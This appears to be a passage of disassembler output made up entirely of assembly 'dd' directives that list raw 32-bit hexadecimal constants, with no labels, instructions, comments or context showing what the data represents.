		dd 21ACDCC2h, 4B78D474h, 9CE6AD26h, 47950139h, 0AFAAF918h
		dd 0C0B2109Eh, 0D1579C08h, 2F0EFDCEh, 20C68C02h, 7C96FE36h
		dd 8B600D8h, 9524C714h,	0E000F85Ch, 925946C5h, 9ABE2387h
		dd 0F6402EB0h, 0C0FE1C71h, 9099FF71h, 1900E4BBh, 0B2690EB4h
		dd 1DE5AAF3h, 15F9825h,	7AA459FFh, 0BE49E4A2h, 0BAD88160h
		dd 3D9C7Bh, 94FDDFB3h, 970AE091h, 25015B7Dh, 351455FEh
		dd 5FE03D90h, 616C0083h, 0C431793Ah, 954CA7F7h,	2CF3F70h
		dd 41FBE368h, 0F144E04Ch, 7BB200B4h, 52978EFEh,	0CF05B0D5h
		dd 0FD589D24h, 7BF5C01h, 343090ABh, 4A0A0073h, 0BAF9EC20h
		dd 0FF01374Ch, 0B3986E40h, 89C86D8Ah, 18C4002Ah, 8C9796E0h
		dd 0E600222Eh, 7CA178B1h, 1F41FA0h, 0CED68716h,	0F4F74352h
		dd 92038FCFh, 95CC6CFDh, 25F6E8AAh, 0AE5F002Bh,	3BD870B1h
		dd 0A001D39Fh, 7EC21253h, 0B4C4BD7Ah, 16AA004Ah, 9E87F45Dh
		dd 23F299E2h, 4BB85600h, 881FD0CDh, 0E1CB0743h,	30DCE05Bh
		dd 4E47AA7Fh, 2D972B00h, 66FC1E4Bh, 93ED0035h, 867D025Fh
		dd 4E021FCFh, 4C65D6DBh, 73BCE445h, 0E97707C6h,	901E9D7Eh
		dd 50AD1CF8h, 0D30354B1h, 0C807A623h, 0C06D1113h, 0A7EF8E14h
		dd 6F701C68h, 0E8859400h, 0F0FFFA9Bh, 0F5920437h, 9065D79Dh
		dd 461D0A18h, 81A3013Ch, 7FC932EFh, 0C8C6A673h,	1847613Ch
		dd 115DB875h, 8C3C4699h, 8548D9h, 40C91A7h, 0E8C97Ah, 0D05985AFh
		dd 278C65DFh, 92138100h, 9548555Eh, 8A76CDCFh, 0D4D02518h
		dd 8914C935h, 548C2ECh,	3ECF7610h, 0D9F51420h, 0A0634C5Bh
		dd 9D2C2100h, 5EB062A4h, 237D7100h, 54F75270h, 0CC400DCh
		dd 4731A50Ah, 0E5006DD6h, 0FADB89D9h, 764341h, 9BDF2C85h
		dd 4CB86CD1h, 9C690605h, 0C8045073h, 74A79122h,	8B2B94C0h
		dd 555989ADh, 30D00334h, 0C099055Dh, 171E8C3Eh,	0EF8D6Eh
		dd 0E811F34Dh, 6A6168B8h, 42B99C20h, 8148DECFh,	0AC506993h
		dd 18276E6h, 58CD9B56h,	0C8976DADh, 8000D99Dh, 92DE0143h
		dd 29B53CCh, 0BD56506Ah, 209C63D8h, 988C67ECh, 2A863077h
		dd 136B7020h, 0D9673530h, 1C19A4Bh, 6097D2B2h, 982FEA69h
		dd 0A6214208h, 0F8C10070h, 5FEBE98Fh, 0DE080299h, 396BE6FCh
		dd 0B2110382h, 843CB4Ch, 4061ACE1h, 0A9D5C80h, 9DAC0E7h
		dd 95A4A8C3h, 2458006Ah, 18035691h, 1E004C1Ch, 6D732B23h
		dd 93FD13h, 0FB9B8574h,	0C1EABB4Eh, 816E6F01h, 2F5E298Fh
		dd 6B71BC50h, 264A43Ah,	0D2AFC147h, 401965FFh, 9D953181h
		dd 0DBF2BCC1h, 7FAC77F8h, 0EB603770h, 2CB56B21h, 0C853605Ah
		dd 0CD2BFC52h, 28501D03h, 1889E8AEh, 3183F3F1h,	20009701h
		dd 3EB41452h, 12F8269Dh, 50D5F09Bh, 8000B7E0h, 1A8674DBh
		dd 3C02548Ch, 2D6AC94h,	32284811h, 4381C053h, 0F7A23E7h
		dd 9DFC9303h, 0E04BAB77h, 9282F384h, 0B07C0040h, 21274828h
		dd 0FF778147h, 215008CCh, 0E4C87945h, 0D2740472h, 8360E4B8h
		dd 0AAB9333Ch, 0C004029Bh, 490A889h, 2A1AEAA3h,	932C80B2h
		dd 94123A8Bh, 1806470Ch, 18C9AAh, 36CC7389h, 0AF6C4588h
		dd 4A3D5C1Fh, 3E9A5740h, 1C6FEAC5h, 53FD6160h, 9F1C03FFh
		dd 0E10068A4h, 3E1A8CEDh, 19CFDF92h, 8A78A85h, 58042499h
		dd 881A841Ch, 2820D312h, 41FEB427h, 9D509139h, 381A8280h
		dd 608C8F92h, 9ACA210Bh, 0E402E81Ah, 0C2C1560Ch, 0CE4C4849h
		dd 0EA884030h, 0E917090Ch, 20BE18B0h, 28037CFCh, 2E1690D1h
		dd 5610067Eh, 40339609h, 0AE649301h, 0C9974A04h, 905CBBE0h
		dd 0C4B200B2h, 6DB51277h, 7E7BEE02h, 0B324E005h, 0E008CC59h
		dd 0D994CF85h, 0E0B92714h, 0E5CB6AE1h, 48382110h, 111F756Ch
		dd 14FA6E88h, 3EE85A80h, 2C9A294Eh, 4628C201h, 7918D127h
		dd 0F2BA3F88h, 108800D8h, 0FC64F237h, 9A00BD8Ah, 2C1E23FDh
		dd 0E259E9E6h, 545B119Bh, 3A9D009Eh, 8372675Dh,	39261FE6h
		dd 90EEC096h, 6E382B8Dh, 7B0ED777h, 3D292A5h, 0D841F579h
		dd 924E3211h, 76C6006Ch, 55A24260h, 45054A71h, 85D3E0BAh
		dd 60A7D082h, 0A80ED45Fh, 7A92F5B4h, 14BC0C2Ch,	7F511902h
		dd 1AC591C7h, 84D4DD14h, 30D29041h, 2889F079h, 0D89182ADh
		dd 0FCFDC0D0h, 206D982Eh, 30140C22h, 48A40B89h,	0B6EE11ACh
		dd 0F405D70Ch, 97493529h, 0D6800048h, 210CC290h, 455A3D52h
		dd 0D764BE00h, 8130734Ah, 6E6138h, 94227F24h, 906950E6h
		dd 0D32C0820h, 0B893406h, 3E9D8125h, 718A563Dh,	83F45A04h
		dd 6024CE92h, 34AF3824h, 6579CA62h, 613FE474h, 0D0C782CEh
		dd 88F1B79h, 81F09F91h,	30D90C80h, 59AE1646h, 0D09F6490h
		dd 0C240003h, 0B7E02B7Ch, 0E37FE025h, 9BD6C20h,	0A480E83Eh
		dd 1BCF6090h, 372A9100h, 0EB33F5A8h, 487158AEh,	0ACD46614h
		dd 605C6B24h, 0F1E89A29h, 0A098F04h, 3C8D2B86h,	8C164C30h
		dd 0C3C17304h, 96629FD2h, 89A9CCA0h, 0DE0C56C1h, 900CACF3h
		dd 6E0100FCh, 33EBFDBFh, 0DCF84042h, 1518CD4Ch,	24CCC216h
		dd 9C046C47h, 1CC804D6h, 84505435h, 813200CEh, 0FA621833h
		dd 96191CD6h, 0D2991ADh, 68254F8h, 3558D2C9h, 2B0CD811h
		dd 0F0B49E8Eh, 0D67900E9h, 0CF44C9A6h, 8B1F3B9h, 64A49202h
		dd 0D4FB83F4h, 0D7248808h, 3BFF01BFh, 0CD02327Ah, 4E5820FDh
		dd 54736900h, 8DCCEC23h, 2C4418C2h, 33E478EEh, 52AD3A02h
		dd 40F25012h, 31EB9D7Ch, 2080CF8Ah, 97D5CC5Ch, 0FCD12604h
		dd 0F444B1E5h, 78A4908Fh, 50F4CBEBh, 808DF339h,	0E3A2B504h
		dd 1ACF26E9h, 58E6F530h, 8E1E6881h, 9CA30060h, 0DBF330AFh
		dd 4C3BCC51h, 12068A7Dh, 42ED67C9h, 21B26008h, 34C169Ah
		dd 8EA67F0Eh, 68C801ACh, 603047ECh, 0C4048CD8h,	0C1277428h
		dd 411E8CCEh, 270842BCh, 689E16h, 795AAEE9h, 883A2C12h
		dd 0AD075323h, 8C2B921Eh, 243CE08Eh, 83BC62D3h,	61CF94D7h
		dd 0AD8C3009h, 0C000127Fh, 3CBFD9E8h, 26706F49h, 945043E7h
		dd 0D30030F5h, 0E2BAB27h, 0B7002973h, 3D2ABDBBh, 1EAE7CDh
		dd 5341FAB9h, 40F77D5Ah, 33D801F8h, 0CE18047Dh,	5480CB3Ch
		dd 0B24B01B7h, 9801D687h, 0DC06076Ah, 246B0089h, 8D6754C6h
		dd 0A2F029F0h, 0D0ACBAF8h, 834C3804h, 0B3626A54h, 4C0F2D20h
		dd 0CDC500ECh, 55FECB22h, 1500EA25h, 745A19CEh,	4C167629h
		dd 2E77582Ch, 4F07302h,	8EF76C4Bh, 0C5B3C808h, 43E5C087h
		dd 0FB061C44h, 0A82ED348h, 77D82858h, 90405C4h,	0D2B1D649h
		dd 85309E00h, 921F111Ah, 90968AB7h, 0B2205B98h,	2ED215C1h
		dd 10929884h, 8C0CB4C0h, 0DE31FBA4h, 7E1C4D1Dh,	0A71D6440h
		dd 0B3EC1Fh, 0E6FB88D9h, 2D77843h, 89C49303h, 0E86386AEh
		dd 2D83276h, 0B24A6F94h, 94826B74h, 4C41DC0Eh, 1029F2h
		dd 9DF871Eh, 0B406245h,	0E4A3804Ch, 14619402h, 18981858h
		dd 4A86754h, 0A1CED912h, 2BFF4000h, 582780h, 6E3B674Fh
		dd 0E62AB085h, 7E95C313h, 0C0159848h, 0D2ACC148h, 98650721h
		dd 9E942145h, 0AC06C101h, 53582D48h, 308E87F4h,	0CFB8D9E2h
		dd 92F02C1Dh, 30A5D67Eh, 0AA6042E4h, 0F3079666h, 5125529Dh
		dd 604738B2h, 68BDA84h,	39A28E29h, 30147056h, 28462ADh
		dd 3A25101Fh, 46346487h, 4C767DBCh, 0DE31D2FBh,	4C119B10h
		dd 0A5C5D417h, 86EAE004h, 0B485F504h, 0F8A0FDDCh, 0FCA8EEC7h
		dd 60053DFh, 6EAAFC89h,	967FB3Ch, 6B2710CBh, 9C521E80h
		dd 611BDE8Dh, 0A47103F9h, 556B8081h, 298E1180h,	0FCD48448h
		dd 0DC3E7624h, 90250F09h, 0D352F698h, 0E2CA0081h, 0EE495B28h
		dd 7A00B7E4h, 2A6AE190h, 0EC397B3h, 0D1283FCBh,	988A6BE4h
		dd 1A088978h, 0C4D7923Bh, 81BF40FEh, 791B1Ah, 4CDF2878h
		dd 5FB6198Ch, 7898E8B0h, 0D7F03090h, 48702359h,	8CD9EC14h
		dd 297BDA00h, 8017F510h, 1F3F820h, 0AD50B351h, 803EE8AEh
		dd 0A0EC7561h, 1D26C9A7h, 7B785EB4h, 0C5F69384h, 0D4B4A083h
		dd 48C925Dh, 812CCE59h,	0E3DEFC90h, 622FF8D3h, 6A95C026h
		dd 0B7EAD4E4h, 0CA85188h, 5F961E8Bh, 0F03E6D38h, 298A8201h
		dd 0A0CA244Dh, 0E20955FCh, 8D68C051h, 960CFBBEh, 0C19280C1h
		dd 0C6CC5A83h, 4120DF4Ah, 0BC51DEB7h, 11204E23h, 0F3850BDCh
		dd 83CD0A8h, 9F03FA72h,	0D467D1Eh, 0B82C8366h, 28CEF21Fh
		dd 4C708604h, 2BC68B3h,	29006B43h, 20ABA056h, 1025D088h
		dd 0F0600CE4h, 5DE816CFh, 4E4809C5h, 7BC418C5h,	73BAA60h
		dd 15689B01h, 7B16A3BBh, 47EEAD0h, 0E8D25847h, 4ED492D1h
		dd 78716859h, 4800C918h, 834B239Bh, 935FADFh, 3E1E1AC3h
		dd 19A20487h, 4262E8C7h, 195B186Ch, 0A84A1101h,	0BED95493h
		dd 8C00443Ch, 1AC539F0h, 564B6C5Ah, 51711822h, 6D3F7034h
		dd 3FD7286h, 82F484CCh,	8194CBB8h, 72F1B550h, 0E13A10C0h
		dd 5064702Bh
		dd 0F9008BC8h, 8D74AA7Dh, 7DA33EFFh, 50EAF66Dh,	8C112CCEh
		dd 0C0C17405h, 5C28A7D2h, 0C18A00A8h, 766E5363h, 0D80399FEh
		dd 58D02A15h, 0E8038D01h, 44DE8ADh, 810D231h, 0C718C2FAh
		dd 0A30090C4h, 0DBCBCAF0h, 0ECDF9ABCh, 55D40040h, 0FC7CE0C1h
		dd 0E0A06C94h, 1C24C510h, 30407488h, 0EEBA36h, 60819BD6h
		dd 0BBF5CDD7h, 2B9138h,	5038404Bh, 8BAB4Eh, 0C054C5F0h
		dd 258DCD1h, 0BF377700h, 52CFCCC9h, 0FDDA009Dh,	0B74216D2h
		dd 5C038485h, 0CB194749h, 0AC34A06Dh, 0B90100F2h, 2D23DA64h
		dd 0CA7C84F0h, 8001A2F4h, 0FE553981h, 0DA2C35A6h, 9E87EE00h
		dd 0FE28D5Ch, 0C1A53F00h, 227C2354h, 0D2B00048h, 478569E9h
		dd 3000C537h, 41AFF5B1h, 89C080h, 28C3A7Ch, 9B090534h
		dd 536E2C0Fh, 0EC1B005Eh, 1A84581h, 0EF104868h,	0E0D461B9h
		dd 0AE1F1F42h, 0D7006DD2h, 34A9F9D1h, 89055h, 63566E2Dh
		dd 95990546h, 0C55050C0h, 0F554589h, 40371661h,	9CB57900h
		dd 0EF3C12B9h, 4891032Ch, 0C0B42FAAh, 393534F6h, 40E0E105h
		dd 0A2A76F8Eh, 0AF3EED06h, 0D91F0Fh, 0EAF9C836h, 3B245E07h
		dd 86F0E00h, 0FB7FE86Ah, 0B83A5AAFh, 5DAA00C2h,	0C54AEA97h
		dd 6C6E697Dh, 38E70783h, 0B701C97Ch, 28B86C7Eh,	618F2321h
		dd 3607ACBh, 0F10FC4EDh, 77936B1Eh, 9D978F40h, 1868D663h
		dd 316D59C8h, 32005F74h, 0A66544F3h, 47B1A2h, 6A8A22D9h
		dd 7260BC8Ch, 1FABDB02h, 0C02E2946h, 1485C1h, 0D049B69Dh
		dd 16BBB967h, 0CDFBE31Dh, 6DA1BC40h, 7471C41Ah,	0B60E306Fh
		dd 0CE83D920h, 0A28B1000h, 0CFC4BD26h, 0D1E513ACh, 19A900ECh
		dd 82CAA77h, 0C81C31C6h, 3B431E08h, 48958099h, 401DA278h
		dd 8FCDB500h, 2B1FADC6h, 0EC6800ACh, 94D1FD65h,	0A0DFDB9Ch
		dd 10400E5Bh, 0C0CF42A8h, 0A136CE02h, 3C808C99h, 0CE018AFAh
		dd 10F13E4Ah, 99ED43D2h, 854088B1h, 4D298007h, 0F1258895h
		dd 0F9F00E7h, 4C1DA63Eh, 700172Bh, 28BE83E1h, 7574669h
		dd 0A7151B14h, 0B94D1339h, 0B7DE4280h, 40589903h, 1AB37Bh
		dd 6ACDF661h, 51C8E645h, 0F72D9019h, 21B81708h,	5DCED202h
		dd 2DC157DBh, 0AACBCC07h, 801A833Dh, 0A7331477h, 3A42182Dh
		dd 7860CD37h, 28026F26h, 52693100h, 0FF2CB8F8h,	34951EFAh
		dd 0CEA9805Ah, 1771FD60h, 0A6224F00h, 7BA1F006h, 0D25A0185h
		dd 0C44D8E2h, 4F2AF4BEh, 41DA2E00h, 0D7C5AF0Fh,	0C7641DEAh
		dd 0AA894028h, 0E56E8DB6h, 2223AD01h, 997A3991h, 7357C2D4h
		dd 936C1F0Bh, 40F95DD4h, 5C908552h, 5E001CABh, 0B244725Ah
		dd 3CDF91h, 82CCE381h, 0A4C4DE6h, 93ABB800h, 0F1661DB6h
		dd 0A25F00F5h, 0FE87CDC5h, 9000168h, 4DF3605Dh,	847E47h
		dd 31E8E2C4h, 0B39BA78Fh, 91B60400h, 646D87DCh,	219900C5h
		dd 206C5283h, 1300D7ACh, 4C461259h, 2FA415h, 0DE582AD9h
		dd 0F049D860h, 0BAB8EF00h, 374B437Bh, 0B693E4Ah, 0D1DBEA00h
		dd 2345FD1Fh, 0C9293Eh,	57983759h, 73A1941h, 0CE36E6ABh
		dd 0A62AAFC8h, 697900EAh, 141ABF78h, 7EAEB700h,	148C8DFh
		dd 0A27B0E43h, 4A406061h, 0F20FBE5Eh, 69573E00h, 7044B1CEh
		dd 0CFD90056h, 404D0137h, 53F86E80h, 39D3F4Ch, 0B4A82A61h
		dd 0A0F5E0E0h, 0AD260033h, 0FC8489C8h, 4F00E6ACh, 8C68FFB8h
		dd 0CC5D58h, 0BFB71726h, 0DB3E31F6h, 0B8BA1018h, 797F10h
		dd 59C6B4Ch, 0E4F0428Fh, 57258000h, 0C2F609A2h,	66F40079h
		dd 6A9C4988h, 0A01EFADh, 566F3168h, 8CD427F5h, 3E6E00C7h
		dd 0ADD473B5h, 7900DD30h, 0B419AF4Dh, 4F1A54h, 2E9872F9h
		dd 8EE774BFh, 0BA7C8401h, 0B2046524h, 0DBA940E2h, 0D0165538h
		dd 1E5EFF4h, 0A8FF17Fh,	0F428B6BBh, 64711809h, 3DA3AC00h
		dd 0B2C48988h, 745F6B7h, 975975F3h, 9E675ED8h, 20B980B1h
		dd 0F0007CB4h, 0EE9F82C2h, 0F0F944ADh, 2CBA039Ch, 600E216Bh
		dd 7711C3B0h, 8C331609h, 0A08B6322h, 90A9CFh, 7251E239h
		dd 0A1190630h, 3BF2BE38h, 77848010h, 71EB8F4Ah,	99E14C94h
		dd 2EBDC301h, 0E84047F5h, 5550A14Dh, 40977ECh, 5FBA8Dh
		dd 71924859h, 845B00D1h, 270BC5B3h, 0E71E281Bh,	70C1DE02h
		dd 75426C9Fh, 8B98CCh, 0C15A9B25h, 3660BD0Fh, 0D6D020C0h
		dd 3FBCD1h, 99A25E56h, 0A4B27385h, 0EEFB1B03h, 0D0136569h
		dd 87A64Dh, 63AD786h, 0A9625B93h, 3F25F000h, 0DD0A65DEh
		dd 680C00B9h, 49D344ABh, 940081CFh, 48FC3BBBh, 0A5C454h
		dd 0F8264143h, 8F1EB50Dh, 1AD41550h, 9ECF3100h,	2CC2AEA9h
		dd 6E6F00E5h, 0C9F02194h, 0D41EDBBAh, 5F1D8AC6h, 271A9C00h
		dd 952BA9h, 42EEC7Ch, 198EF244h, 0C309EE01h, 18E1A8A2h
		dd 0E0B69943h, 14239931h, 0FC63FD55h, 0D8B7C100h, 0B550D720h
		dd 9278C200h, 0EDD6F67Bh, 0DED105A8h, 0C038849Fh, 0EB341E0Fh
		dd 23D0C400h, 0EE1A39F4h, 196500E2h, 0B383765Dh, 7327F7E1h
		dd 1955EDAh, 273237C7h,	0C0168012h, 9BCF7966h, 72E10093h
		dd 0D217F24Bh, 0EA0051A9h, 8D11DDDCh, 24A427h, 0B6531FB0h
		dd 0CD0151Ch, 9F9C9703h, 0F0EE31h, 703F0568h, 1FB8564h
		dd 1607F3E8h, 0A6333635h, 506355F0h, 0EFE000F0h, 0F19BFE1Ah
		dd 3204DAACh, 41A839D0h, 22380080h, 0E9730061h,	6608486Fh
		dd 471E0F94h, 0EF402963h, 993CB357h, 0FFCE074h,	0A72D4E0Ah
		dd 8734F3E0h, 9500DD25h, 0B38297CDh, 716627B1h,	0DBC600B0h
		dd 0FF2FD4E8h, 0D0985ACFh, 3EAA5800h, 90441A88h, 0B77C0096h
		dd 0A8A64920h, 0BE00989Fh, 5CF3E538h, 18529AEBh, 50218C1Fh
		dd 8D383A44h, 886802Bh,	55AF51D6h, 6EF32637h, 0F82D0093h
		dd 68BAB748h, 2B00B174h, 45D804F5h, 0E8D29F6Dh,	3B9DF497h
		dd 3FF3FB80h, 0B0B05E01h, 86AD7899h, 0D30E4275h, 5F774594h
		dd 0C2F7F080h, 239F3h, 0ADCB61A5h, 402E7018h, 0E76FAA1Eh
		dd 0D4C56E40h, 1CF353CEh, 0D30729C7h, 7B040042h, 314FCAA5h
		dd 6213F700h, 0CB0B4388h, 27EB0067h, 8E56D0DBh,	0E107C1E4h
		dd 75E7AC4Dh, 99EE6910h, 0C0780139h, 0D837B9FEh, 12A06042h
		dd 0E0174A07h, 61B07CC6h, 0A27055h, 26739A7Ah, 0A8C51DCBh
		dd 40DA4E30h, 767F379h,	0DEF401BDh, 0BC44C03Fh,	5FC68D8h
		dd 0C21AB900h, 5A599A4Dh, 0EB10023h, 8068AD9h, 0D40E97C8h
		dd 0A0EBE1DBh, 93532D1Ah, 2C6FC3Fh, 0E77C860Fh,	0DE414F59h
		dd 770824EFh, 8BF0023Dh, 0E9A949h, 95ED1857h, 6E9800BCh
		dd 0F6023F37h, 7224AAE3h, 803BD85Ch, 0C48CE5DDh, 7722065Dh
		dd 6879004Fh, 0F77FFC0h, 0C9304E9Fh, 0C572A08Bh, 0F1CF00B7h
		dd 0B167EFCh, 21B7D8Dh,	0C3208120h, 0DD101D95h,	7578E01Bh
		dd 49B09400h, 0C2885540h, 66CF01DBh, 0E9B242B9h, 0D27AE0C3h
		dd 28A20A00h, 57B51D10h, 9DC60066h, 5A54EDD0h, 2C16B6E1h
		dd 300763A3h, 7C70F959h, 0C2711856h, 4CF39188h,	34982048h
		dd 0C5552E00h, 0EF750FDDh, 9AC00056h, 0DBB0EC11h, 14011321h
		dd 81E2E87Dh, 15D0D0EEh, 5873005Ch, 5BF86F9Dh, 18000AB9h
		dd 87ED7AAAh, 0FF6DD93h, 0EF97138h, 26E88040h, 979E251h
		dd 2FC2840Eh, 2B415D28h, 59A75C2Ch, 0D1208882h,	58C005F6h
		dd 74001EA1h, 856B4926h, 184CEEC8h, 0D08880F0h,	1D1DA05Ah
		dd 7880CF99h, 0F6E171B0h, 0B50F885Dh, 0D111D20Ah, 4E8080CCh
		dd 0C0067E2Eh, 0EF0D0023h, 0FCDF7309h, 57009F60h, 1D04A18h
		dd 0ADE83Ch, 0D970DB1Fh
		dd 2804CFC9h, 0A42DD305h, 0E85E73A9h, 7F4DFE04h, 68B8A2C0h
		dd 0E2260320h, 0CD9691DFh, 2DC57112h, 60ED6D01h, 0F020AA02h
		dd 7A790F14h, 0F3602BAEh, 0D9A77DB6h, 6DD17460h, 1DA3C4Dh
		dd 9432CF91h, 0DC642228h, 0D4A427E1h, 187A6531h, 0F4D06EE8h
		dd 2AF27ACFh, 0E7A0B375h, 0F685F4h, 7CB9B59Eh, 486C3670h
		dd 1EDA5F03h, 26659629h, 735829h, 3561970h, 54008538h
		dd 0BC046BDBh, 3C91B941h, 0A483D29Ah, 0E810FDA0h, 0DD78C3h
		dd 9DAC0B70h, 8E009231h, 0BCA5B68Fh, 7A71BD6Fh,	8BA30090h
		dd 0CC4341CFh, 3E749FB9h, 0A046F42Ah, 0DA050800h, 0C3482585h
		dd 62A2773Dh, 0E481595Bh, 46BC88A0h, 5800645Fh,	95547849h
		dd 0B85237h, 0DF7B517Fh, 2384A4A1h, 345AB315h, 0B7020090h
		dd 88357D49h, 0FBF90155h, 75562838h, 3B6CD0D8h,	276EDF00h
		dd 5EBFD09Ah, 0B0040125h, 0AB8CA493h, 0FEB450F9h, 0C0042773h
		dd 10B75DE7h, 0EEEC508Ch, 2FF640h, 19F2206Ah, 0C33ADF30h
		dd 4D31E702h, 20E076B9h, 0FF74C0B3h, 179ACD05h,	54C32C91h
		dd 72A2807Ah, 298A6082h, 0A111DCB6h, 81C55301h,	36F2E18Ch
		dd 6496D18Ah, 0A779808Ch, 0C9F1FEB7h, 87711000h, 587DCFB0h
		dd 0BAF40014h, 67700AA9h, 363B6D04h, 0F1A303B9h, 45DEA689h
		dd 5C207069h, 0A7E3022Dh, 0A6F1A0EDh, 0D66FD540h, 0AB06B50Ah
		dd 4080D476h, 4C4E4797h, 0FDF9030Ch, 0DF777FD9h, 2D145100h
		dd 4A34297Bh, 58A11631h, 1E750209h, 98A0A85Ch, 2CFFE1AAh
		dd 5DEE91E2h, 0F87F3200h, 0C8E588EBh, 9960065Ah, 5EC0D1E0h
		dd 83E8EE0Ch, 0B261B6h,	866B16A6h, 53FD9927h, 84014298h
		dd 2805013Fh, 0D3F1E4AEh, 4C9A8820h, 0B960CF16h, 92AD613Fh
		dd 818E4913h, 0AAC61820h, 5BF5031Fh, 0EC823867h, 83DA193Fh
		dd 0F183BA5Fh, 2DFCE933h, 2B049423h, 80C47D80h,	26E485E3h
		dd 9220FC12h, 0CE575827h, 3031EB30h, 0F412009Eh, 0B46605FDh
		dd 0EA3A0DD7h, 3A1F0090h, 92B9C1CCh, 2F39C0BFh,	41D3BD74h
		dd 6646D72Ch, 0A8409000h, 22E482Ch, 911A9CEh, 0B8908B07h
		dd 0CA1CB401h, 0F700D2BEh, 2AFD87B2h, 5BF308ABh, 0EA025A32h
		dd 4067854Fh, 11740Ah, 0ADBC3C2Bh, 26270EB4h, 65F3FB00h
		dd 8EB91FBAh, 0C7A20023h, 0FE0CAD0Fh, 0EE48596Ch, 0BA5A8038h
		dd 2FD265Ch, 0F11C4DDBh, 0B8407161h, 93300AD8h,	4CC62958h
		dd 0A7C30EB4h, 0C78081BAh, 0CCE0F6DBh, 0C8A0F12Ah, 50B6A126h
		dd 1CB3D740h, 0F3B50310h, 87826AA7h, 90B7170h, 4FB69Dh
		dd 856406E0h, 10713B69h, 0D01107F8h, 0F0C0A117h, 0F30426C9h
		dd 48BA433Dh, 0B8C30000h, 18205878h, 10491ABh, 0C6CA44Eh
		dd 0E082C45Fh, 84D42989h, 4980006Fh, 621FFA8Ch,	9100BD10h
		dd 0DBB2A903h, 2417AE36h, 4398DEABh, 57A0BD89h,	0DB005D1Dh
		dd 4BD04593h, 3F861E3h,	5B7D3B42h, 79504806h, 922CBA93h
		dd 64024473h, 2065969Eh, 1AED048Ch, 0C300E0E2h,	0E82CECEEh
		dd 2AEA4CCEh, 80E45C0Ch, 0EAD271B4h, 761C12F1h,	433827DEh
		dd 6909470Bh, 908490F6h, 757424h, 0C3A75D18h, 106D67E3h
		dd 1383Ah, 484FC7BDh, 14D76E0Ch, 0C8D8A19Bh, 66358981h
		dd 946292h, 0D77682AFh,	744CB7h, 8D09DD4Bh, 0CB796FF3h
		dd 0E7D33Bh, 356DEE9Eh,	1895B5FEh, 0B95B0CE0h, 6C2611B0h
		dd 0B5605C70h, 149B20FEh, 0DC506669h, 6B436D01h, 0D5D422DAh
		dd 1FCC4881h, 9E01E97Fh, 0B67F8E8Ch, 29D811FAh,	0C8750053h
		dd 0ACBBF3B3h, 0F230EDCCh, 0CB72D83Ah, 53135892h, 36BF2801h
		dd 86E5DFADh, 5EC5E151h, 95A00699h, 815B6AF9h, 25E80F06h
		dd 212F01h, 0AFD506E6h,	6C4A1A77h, 287BA100h, 9AF644D2h
		dd 82461887h, 0D48059EDh, 3C2C2D00h, 0BE7FCBB9h, 0E85F09FFh
		dd 0F40BF0CAh, 0A0D0F008h, 17AA26E0h, 67D36088h, 0CC00CDC6h
		dd 21073668h, 1F19451h,	4A4CA5E3h, 20143F99h, 74027678h
		dd 1FA7227Ah, 0B1244075h, 0E7AD2A5Ch, 5184370h,	0A98ACB1Ah
		dd 0BC2024C5h, 1C65DB1Eh, 0C0087102h, 0DC6FF41Ch, 55014563h
		dd 4325DA04h, 2822F35Bh, 0A4F07F00h, 0D393FF87h, 424BE0A8h
		dd 46B05D00h, 4F972229h, 62902Dh, 1F6511A5h, 1891A8DAh
		dd 0A6195B3Fh, 0D3430C96h, 3F25C823h, 6CD400FAh, 70242FC3h
		dd 99440A29h, 74B506D2h, 0C9587AE1h, 2E106B4Ch,	7D1C381Dh
		dd 95193018h, 50CC006Ah, 7E5CDD29h, 0E1186910h,	84213F20h
		dd 3F79DEE5h, 6633D203h, 0A7B0D628h, 0A501DFAAh, 8C98651Eh
		dd 2987E181h, 30CC1B7Bh, 4253DADDh, 8B55E500h, 0EEF76AC9h
		dd 0BAF202FDh, 0F4E1023Ah, 0DA0FB490h, 1D209905h, 640F085Bh
		dd 7BA067BFh, 121C7390h, 6D65240Fh, 0D8B384Ch, 0EC853387h
		dd 7B7480AAh, 9E0469E1h, 92D429E5h, 1DF49488h, 8066B1A8h
		dd 0ACB73103h, 9350F1E4h, 63B5310h, 0F221D91h, 0AA7BDF83h
		dd 4C817AA1h, 4F3EC02Fh, 0C5F80077h, 4374151Eh,	0AA58F6CEh
		dd 0ABB980E8h, 0BEA3A1h, 0C4A28C9Fh, 0D1E18741h, 286F7900h
		dd 0BA6A88F4h, 24DBE40Dh, 0A3C9E91h, 0C81EEEh, 0A4BC74B4h
		dd 0EA3DF426h, 0BC01AE2Bh, 0E8D07A41h, 48D40220h, 9301448Eh
		dd 3F5EA1FBh, 95842079h, 421DBD01h, 0B376127Fh,	0DA006832h
		dd 923E3D24h, 8F30336Dh, 79619C0h, 0DF4C00F7h, 0D8C2FFCBh
		dd 8E0EC669h, 409A3E08h, 0F0EFC1BBh, 3EF5FA78h,	1A042C40h
		dd 0A4AB7A76h, 0AA3E3DD4h, 0C37FAC23h, 0B82AA500h, 0EE58D6FBh
		dd 5678046Ch, 0CCE12549h, 0E024B260h, 0A0024C9Ah, 90692210h
		dd 50ED80E4h, 0C7889Bh,	85B81F20h, 842B89FBh, 95902707h
		dd 8112558Eh, 0A83048E2h, 30893866h, 0E98086BEh, 0EEDBD99Fh
		dd 0F1051021h, 18BF2CEh, 9CB08000h, 1AA34F4h, 0F547DEA4h
		dd 32AB193Ch, 0E34E0424h, 20C04AF7h, 0CCE0420h,	0B12C2D5h
		dd 0F14CB280h, 98F2113Ch, 6EBCF60Ch, 0EF020BB9h, 0B42AA8D1h
		dd 0A0D84363h, 98D76E3h, 82377C5Dh, 4958810h, 717FC10Eh
		dd 0B1C280FCh, 3233F5h,	7EABCD14h, 67438DC5h, 79171217h
		dd 5A138904h, 9419C0C0h, 296B2CA4h, 0DCAB0B00h,	0CA429C20h
		dd 0F912125Eh, 0F6006DF1h, 0A5E863D6h, 0FBF60199h, 7D16BC79h
		dd 6B94D0A1h, 77195314h, 0D06D80A0h, 0E9EAE15h,	1AD19534h
		dd 998BCA80h, 0F1F69A71h, 0B2EC20E1h, 5B413F04h, 7201465Eh
		dd 287A44C2h, 78138078h, 2531F35h, 6C28B22Ah, 784004B4h
		dd 6D25DAD1h, 7FF027EFh, 770E4BC0h, 3B7EBEh, 78FB1357h
		dd 58AA64A8h, 63C2A58h,	0E652AD33h, 27E126A9h, 0E7A34010h
		dd 4C4BF9C6h, 616F6420h, 2ECF00AFh, 0D182FC6Bh,	211B0E71h
		dd 0C2C0DD35h, 91F8C141h, 9C3C20h, 0E7AE61F0h, 5CAFA182h
